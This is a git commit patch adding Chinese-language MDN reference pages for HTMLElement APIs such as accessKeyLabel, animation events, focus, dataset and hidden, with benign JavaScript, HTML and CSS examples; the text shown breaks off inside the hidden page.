From 33058f2b292b3a581333bdfb21b8f671898c5060 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:40:17 -0500 Subject: initial commit --- .../web/api/htmlelement/accesskeylabel/index.html | 84 ++++ .../htmlelement/animationcancel_event/index.html | 174 +++++++ .../animationiteration_event/index.html | 179 ++++++++ .../api/htmlelement/beforeinput_event/index.html | 101 +++++ files/zh-cn/web/api/htmlelement/blur/index.html | 24 + files/zh-cn/web/api/htmlelement/click/index.html | 44 ++ .../web/api/htmlelement/contenteditable/index.html | 62 +++ .../web/api/htmlelement/contextmenu/index.html | 35 ++ files/zh-cn/web/api/htmlelement/dataset/index.html | 123 +++++ files/zh-cn/web/api/htmlelement/dir/index.html | 50 ++ files/zh-cn/web/api/htmlelement/focus/index.html | 158 +++++++ .../web/api/htmlelement/forcespellcheck/index.html | 92 ++++ files/zh-cn/web/api/htmlelement/hidden/index.html | 196 ++++++++ files/zh-cn/web/api/htmlelement/index.html | 502 +++++++++++++++++++++ .../api/htmlelement/iscontenteditable/index.html | 107 +++++ files/zh-cn/web/api/htmlelement/lang/index.html | 40 ++ files/zh-cn/web/api/htmlelement/nonce/index.html | 60 +++ .../web/api/htmlelement/offsetheight/index.html | 80 ++++ .../web/api/htmlelement/offsetleft/index.html | 148 ++++++ .../web/api/htmlelement/offsetparent/index.html | 48 ++ .../zh-cn/web/api/htmlelement/offsettop/index.html | 57 +++ .../web/api/htmlelement/offsetwidth/index.html | 59 +++ files/zh-cn/web/api/htmlelement/oncopy/index.html | 44 ++ files/zh-cn/web/api/htmlelement/oncut/index.html | 46 ++ files/zh-cn/web/api/htmlelement/onpaste/index.html | 57 +++ .../zh-cn/web/api/htmlelement/outertext/index.html | 87 ++++ .../api/htmlelement/pointercancel_event/index.html | 101 +++++ files/zh-cn/web/api/htmlelement/style/index.html | 80 ++++ .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 ++ files/zh-cn/web/api/htmlelement/title/index.html | 76 ++++ 30 files changed, 2963 insertions(+) create mode 100644 files/zh-cn/web/api/htmlelement/accesskeylabel/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationcancel_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationiteration_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/beforeinput_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/click/index.html create mode 100644 files/zh-cn/web/api/htmlelement/contenteditable/index.html create mode 100644 files/zh-cn/web/api/htmlelement/contextmenu/index.html create mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlelement/dir/index.html create mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/forcespellcheck/index.html create mode 100644 files/zh-cn/web/api/htmlelement/hidden/index.html create mode 100644 files/zh-cn/web/api/htmlelement/index.html create mode 100644 files/zh-cn/web/api/htmlelement/iscontenteditable/index.html create mode 100644 files/zh-cn/web/api/htmlelement/lang/index.html create mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetheight/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetleft/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetparent/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsettop/index.html create mode 100644 files/zh-cn/web/api/htmlelement/offsetwidth/index.html create mode 100644 files/zh-cn/web/api/htmlelement/oncopy/index.html create mode 100644 files/zh-cn/web/api/htmlelement/oncut/index.html create mode 100644 files/zh-cn/web/api/htmlelement/onpaste/index.html create mode 100644 files/zh-cn/web/api/htmlelement/outertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/pointercancel_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/style/index.html create mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/title/index.html (limited to 'files/zh-cn/web/api/htmlelement') diff --git a/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html new file mode 100644 index 0000000000..b20eafe1ed --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskeylabel/index.html @@ -0,0 +1,84 @@ +--- +title: accessKeyLabel +slug: Web/API/HTMLElement/accessKeyLabel +translation_of: Web/API/HTMLElement/accessKeyLabel +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.accessKeyLabel 只读属性返回一个 {{jsxref("String")}} 表示这个元素分配的访问密钥(如果有的话); 否则返回一个空字符串.

+ +

语法

+ +
label = element.accessKeyLabel
+
+ +

示例

+ +

JavaScript

+ +
var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+  node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+  node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+  var p = document.createElement('p');
+  p.textContent = 'Clicked!';
+  node.parentNode.appendChild(p);
+};
+
+ +

HTML

+ +
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
+
+ +

Result

+ +

{{ EmbedLiveSample('Example') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML WHATWG')}}No change from initial definition.
{{SpecName('HTML5.1')}}{{Spec2('HTML5.1')}}Removed. pull w3c/html#144, issue w3c/html#99, WICG discussion.
{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

浏览器兼容

+ +
+ + +

{{Compat("api.HTMLElement.accessKeyLabel")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html new file mode 100644 index 0000000000..b20bd99752 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationcancel_event/index.html @@ -0,0 +1,174 @@ +--- +title: 'HTMLElement: animationcancel event' +slug: Web/API/HTMLElement/animationcancel_event +translation_of: Web/API/HTMLElement/animationcancel_event +--- +
{{APIRef}}
+ +
{{SeeCompatTable}}
+ +

一个 animationcancel 事件会在一个 CSS Animation 意外终止时触发. 换句话说, 就是任意时刻 CSS Animation 在没有发送 {{event("animationend")}} 事件时停止运行. 这种情况会在  {{cssxref("animation-name")}} 发生改变导致动画被移除时, 或者使用CSS隐藏了动画中的node节点. 因此要么node节点直接被隐藏，要么因为node节点的父节点被隐藏.

+ +

该事件的处理函数可以通过 {{domxref("GlobalEventHandlers.onanimationcancel", "onanimationcancel")}} 属性进行设置, 或者使用 {{domxref("EventTarget.addEventListener", "addEventListener()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("AnimationEvent")}}
Event handler propertyonanimationcancel
+ +

Examples

+ +

这段代码获取一个当前在动画中的元素，并为它添加了一个animationcancel 事件监听. 然后设置该元素的 display 属性为 none, 触发 animationcancel 事件.

+ +
const animated = document.querySelector('.animated');
+
+animated.addEventListener('animationcancel', () => {
+  console.log('Animation canceled');
+});
+
+animated.style.display = 'none';
+ +

同样, 使用 onanimationcancel 属性替换 addEventListener():

+ +
const animated = document.querySelector('.animated');
+animated.onanimationcancel = () => {
+  console.log('Animation canceled');
+};
+
+animated.style.display = 'none';
+ +

Live example

+ +

HTML

+ +
<div class="animation-example">
+    <div class="container">
+        <p class="animation">You chose a cold night to visit our planet.</p>
+    </div>
+    <button class="activate" type="button">Activate animation</button>
+    <div class="event-log"></div>
+</div>
+
+ +

CSS

+ +
.container {
+  height: 3rem;
+}
+
+.event-log {
+  width: 25rem;
+  height: 2rem;
+  border: 1px solid black;
+  margin: 0.2rem;
+  padding: 0.2rem;
+}
+
+.animation.active {
+  animation-duration: 2s;
+  animation-name: slidein;
+  animation-iteration-count: 2;
+}
+
+@keyframes slidein {
+  from {
+    transform: translateX(100%) scaleX(3);
+  }
+  to {
+    transform: translateX(0) scaleX(1);
+  }
+}
+
+ +

JS

+ +
const animation = document.querySelector('p.animation');
+const animationEventLog = document.querySelector('.animation-example>.event-log');
+const applyAnimation = document.querySelector('.animation-example>button.activate');
+let iterationCount = 0;
+
+animation.addEventListener('animationstart', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `;
+});
+
+animation.addEventListener('animationiteration', () => {
+  iterationCount++;
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `;
+});
+
+animation.addEventListener('animationend', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`;
+  animation.classList.remove('active');
+  applyAnimation.textContent = "Activate animation";
+});
+
+animation.addEventListener('animationcancel', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`;
+});
+
+applyAnimation.addEventListener('click', () => {
+  animation.classList.toggle('active');
+  animationEventLog.textContent = '';
+  iterationCount = 0;
+  let active = animation.classList.contains('active');
+  if (active) {
+    applyAnimation.textContent = "Cancel animation";
+  } else {
+    applyAnimation.textContent = "Activate animation";
+  }
+});
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationcancel")}}{{Spec2("CSS3 Animations")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.animationcancel_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html new file mode 100644 index 0000000000..c6358d816b --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationiteration_event/index.html @@ -0,0 +1,179 @@ +--- +title: 'HTMLElement: animationiteration event' +slug: Web/API/HTMLElement/animationiteration_event +tags: + - Animation + - CSS Animations + - animationiteration event +translation_of: Web/API/HTMLElement/animationiteration_event +--- +
{{APIRef}}
+ +

animationiteration 事件将被触发 当CSS 动画的迭代结束且另一个迭代开始时。此事件不会与 {{domxref("HTMLElement/animationend_event", "animationend")}} 事件同时发生t, 因此对于animation-iteration-count次数为1的动画不会发生。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("AnimationEvent")}}
Event handler property{{domxref("GlobalEventHandlers/onanimationiteration","onanimationiteration")}}
+ +

例子

+ +

此代码使用 animationiteration 来跟踪动画已完成的迭代次数:

+ +
const animated = document.querySelector('.animated');
+
+let iterationCount = 0;
+
+animated.addEventListener('animationiteration', () => {
+  iterationCount++;
+  console.log(`Animation iteration count: ${iterationCount}`);
+});
+ +

相同, 但使用 onanimationiteration 事件处理程序属性：

+ +
const animated = document.querySelector('.animated');
+
+let iterationCount = 0;
+
+animated.onanimationiteration = () => {
+  iterationCount++;
+  console.log(`Animation iteration count: ${iterationCount}`);
+};
+ +

鲜活的范例

+ +

HTML

+ +
<div class="animation-example">
+    <div class="container">
+        <p class="animation">You chose a cold night to visit our planet.</p>
+    </div>
+    <button class="activate" type="button">Activate animation</button>
+    <div class="event-log"></div>
+</div>
+
+ +

CSS

+ +
.container {
+  height: 3rem;
+}
+
+.event-log {
+  width: 25rem;
+  height: 2rem;
+  border: 1px solid black;
+  margin: 0.2rem;
+  padding: 0.2rem;
+}
+
+.animation.active {
+  animation-duration: 2s;
+  animation-name: slidein;
+  animation-iteration-count: 2;
+}
+
+@keyframes slidein {
+  from {
+    transform: translateX(100%) scaleX(3);
+  }
+  to {
+    transform: translateX(0) scaleX(1);
+  }
+}
+
+ +

JS

+ +
const animation = document.querySelector('p.animation');
+const animationEventLog = document.querySelector('.animation-example>.event-log');
+const applyAnimation = document.querySelector('.animation-example>button.activate');
+let iterationCount = 0;
+
+animation.addEventListener('animationstart', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation started' `;
+});
+
+animation.addEventListener('animationiteration', () => {
+  iterationCount++;
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation iterations: ${iterationCount}' `;
+});
+
+animation.addEventListener('animationend', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation ended'`;
+  animation.classList.remove('active');
+  applyAnimation.textContent = "Activate animation";
+});
+
+animation.addEventListener('animationcancel', () => {
+  animationEventLog.textContent = `${animationEventLog.textContent}'animation canceled'`;
+});
+
+applyAnimation.addEventListener('click', () => {
+  animation.classList.toggle('active');
+  animationEventLog.textContent = '';
+  iterationCount = 0;
+  let active = animation.classList.contains('active');
+  if (active) {
+    applyAnimation.textContent = "Cancel animation";
+  } else {
+    applyAnimation.textContent = "Activate animation";
+  }
+});
+
+ +

结果

+ + + +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationiteration")}}{{Spec2("CSS3 Animations")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.animationiteration_event")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html new file mode 100644 index 0000000000..fa11a7588c --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/beforeinput_event/index.html @@ -0,0 +1,101 @@ +--- +title: 'HTMLElement: beforeinput event' +slug: Web/API/HTMLElement/beforeinput_event +tags: + - Event + - InputEvent + - beforeinput + - 事件 + - 参考 + - 实验性 +translation_of: Web/API/HTMLElement/beforeinput_event +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

DOM 事件 beforeinput 在{{HTMLElement("input")}}, {{HTMLElement("select")}} 或 {{HTMLElement("textarea")}} 的值即将被修改前触发。这个事件也可以在 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 被设置为 true 的元素和打开 {{domxref("Document.designMode", "designMode")}} 后的任何元素上被触发。

+ +

In the case of contenteditable and designMode,  the event target is the editing host. If these properties apply to multiple elements, the editing host is the nearest ancestor element whose parent isn't editable.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{DOMxRef("InputEvent")}}
Event handler propertyNone
Sync / AsyncSync
ComposedYes
Default ActionUpdate the DOM element
+ +

示例

+ +

这个例子会在 {{HtmlElement("input")}} 元素的值即将被新的值更新前记录下当前的值。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('beforeinput', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', "#event-type-beforeinput", "beforeinput event")}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.beforeinput_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/click/index.html b/files/zh-cn/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..3508c013d3 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/click/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLElement.click +slug: Web/API/HTMLElement/click +tags: + - API + - HTML DOM + - HTMLElement +translation_of: Web/API/HTMLElement/click +--- +
{{ APIRef("HTML DOM") }}
+ +

click 方法可以用来模拟鼠标左键单击一个元素。

+ +

当在支持click方法的元素上使用该方法时（比如{{ HTMLElement("input") }}元素），会触发该元素的 click 事件。该事件会一直向文档树的上层元素冒泡，也会触发它们各自的click事件。但是，冒泡而来的事件会让一个 {{HTMLElement("a")}} 元素像受到真实的鼠标点击一样执行页面的跳转。

+ +

语法

+ +
element.click()
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}{{Spec2('DOM2 HTML')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.click")}}

diff --git a/files/zh-cn/web/api/htmlelement/contenteditable/index.html b/files/zh-cn/web/api/htmlelement/contenteditable/index.html new file mode 100644 index 0000000000..d7e96660e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contenteditable/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.contentEditable +slug: Web/API/HTMLElement/contentEditable +translation_of: Web/API/HTMLElement/contentEditable +--- +
+
+
{{ APIRef("HTML DOM") }}
+
+
+ +

概述

+ +

HTMLElement.contentEditable 属性用于表明元素是否是可编辑的。该枚举属性（enumerated attribute）可以具有下面的几种值之一：

+ + + +

语法

+ +
editable = element.contentEditable
+element.contentEditable = "true"
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}{{Spec2('HTML WHATWG')}} 
+  
+ +

浏览器兼容性

+ +
+

{{Compat("api.HTMLElement.contentEditable")}}

+ +

在 IE 浏览器中，contenteditable 不能直接用在 {{htmlelement("table")}}、 {{htmlelement("col")}}、 {{htmlelement("colgroup")}}、 {{htmlelement("tbody")}}、 {{htmlelement("td")}}、 {{htmlelement("tfoot")}}、 {{htmlelement("th")}}、 {{htmlelement("thead")}} 和 {{htmlelement("tr")}} 标签上。一个可编辑的 {{htmlelement("span")}} 或者 {{htmlelement("div")}} 标签可以放在表格单元格内部。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/contextmenu/index.html b/files/zh-cn/web/api/htmlelement/contextmenu/index.html new file mode 100644 index 0000000000..b0ee9e9d48 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/contextmenu/index.html @@ -0,0 +1,35 @@ +--- +title: HTMLElement.contextMenu +slug: Web/API/HTMLElement/contextMenu +tags: + - API +translation_of: Web/API/HTMLElement/contextMenu +--- +
{{APIRef("HTML DOM")}}{{deprecated_header()}}
+ +

HTMLElement.contextMenu 特性指的是某一元素用{{htmlattrxref("contextmenu")}} 特性所创建的右键快捷菜单。该菜单本身源于 {{HTMLElement("menu")}} 元素所构建。

+ +

语法

+ +
var elementContextMenu = element.contextMenu;
+
+ +

例子

+ +
var contextMenu = document.getElementById("element").contextMenu;
+
+// 修改条目1的标签
+contextMenu.firstElementChild.label = "New label";
+
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.contextMenu")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射，每个自定义数据属性的一个条目。

+ +

请注意，dataset 属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。

+ +

还要注意，一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称，但它们总是相似的：

+ + + +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：

+ + + +

与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：

+ + + +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如，属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/dir/index.html b/files/zh-cn/web/api/htmlelement/dir/index.html new file mode 100644 index 0000000000..5af4c1d9f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/dir/index.html @@ -0,0 +1,50 @@ +--- +title: HTMLElement.dir +slug: Web/API/HTMLElement/dir +tags: + - Gecko DOM Reference +translation_of: Web/API/HTMLElement/dir +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

dir属性用于获取或设置当前元素的元素内容的文本书写方向.

+ +

语法

+ +
var CurrentWritingDirection = elementNodeReference.dir;
+elementNodeReference.dir = NewWritingDirection;
+
+ +

CurrentWritingDirection是一个字符串,表示当前元素的元素内容的文本书写方向. NewWritingDirection是一个变量,表示当前元素新的文本书写方向.

+ +

dir 的值可以是ltr, 表示从左到右, 和rtl, 表示从右到左.

+ +

例子

+ +
var parg = document.getElementById("para1");
+parg.dir = "rtl";
+// 改变一个元素的元素内容的文本书写方向.
+ +

备注

+ +

元素的文本书写方向是指文本的排列顺序(目的是为了支持其他不同语言的系统). 阿拉伯语和希伯来语是典型的使用 rtl 排列顺序的语言.

+ +

一个图像文件也可以将dir属性设置为"rtl",这样的话,它的title和alt属性文字会按"rtl"顺序来显示.

+ +

当表格的dir属性设置为"rtl"时, 那么该表格的所有列将从右到左排列.

+ +
+

{{ gecko_callout_heading("7.0") }}

+ +

在Gecko 7.0 {{ geckoRelease("7.0") }}之前, 该属性的返回值不一定都是小写的.从 Gecko 7.0开始, 该属性的返回值全部为小写字母, 这也是规范中所规定的.

+
+ +

规范

+ +

W3C DOM Level 2 HTML: dir

+ +

{{ languages( { "ja": "ja/DOM/element.dir", "fr": "fr/DOM/element.dir", "pl": "pl/DOM/element.dir", "en": "en/DOM/element.dir" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上！</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上！</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html new file mode 100644 index 0000000000..779c6095a6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.forceSpellCheck() +slug: Web/API/HTMLElement/forceSpellCheck +translation_of: Web/API/HTMLElement/forceSpellCheck +--- +

{{ APIRef("HTML DOM") }}{{SeeCompatTable}}

+ +

强制对HTML元素进行拼写和语法检查，即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面，例如是否出现红色下划线，由浏览器确定。

+ +

Syntax

+ +
element.forceSpellCheck()
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}{{Spec2('HTML WHATWG')}}Initial definition
{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}{{Spec2('HTML5.1')}}First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See Also

+ + diff --git a/files/zh-cn/web/api/htmlelement/hidden/index.html b/files/zh-cn/web/api/htmlelement/hidden/index.html new file mode 100644 index 0000000000..5fd6033dc5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/hidden/index.html @@ -0,0 +1,196 @@ +--- +title: HTMLElement.hidden +slug: Web/API/HTMLElement/hidden +translation_of: Web/API/HTMLElement/hidden +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

{{domxref("HTMLElement")}}元素属性 hidden 是一个 {{jsxref("Boolean")}}类型，如果想要隐藏文档，值设置为 true，否则值设置为false.  这是完全不同于使用 CSS 属性 {{cssxref("display")}}  来控制一个元素的可见性 。  hidden 属性应用于所有的展现模式，并且不应该用来隐藏用户直接访问的内容。

+ +

适用于使用 hidden 的情况：

+ + + +

不适合使用的情况：

+ + + +
+

Elements that are not hidden must not link to elements which are.

+
+ +

语法

+ +
isHidden = HTMLElement.hidden;
+
+
+HTMLElement.hidden = true | false;
+ +

Value

+ +

A Boolean which is true if the element is hidden from view; otherwise, the value is false.

+ +

示例

+ +

Here's an example where a hidden block is used to contain a thank you message that is displayed after a user agrees to an unusual request.

+ +

JavaScript

+ +
document.getElementById("okButton")
+        .addEventListener("click", function() {
+  document.getElementById("welcome").hidden = true;
+  document.getElementById("awesome").hidden = false;
+}, false);
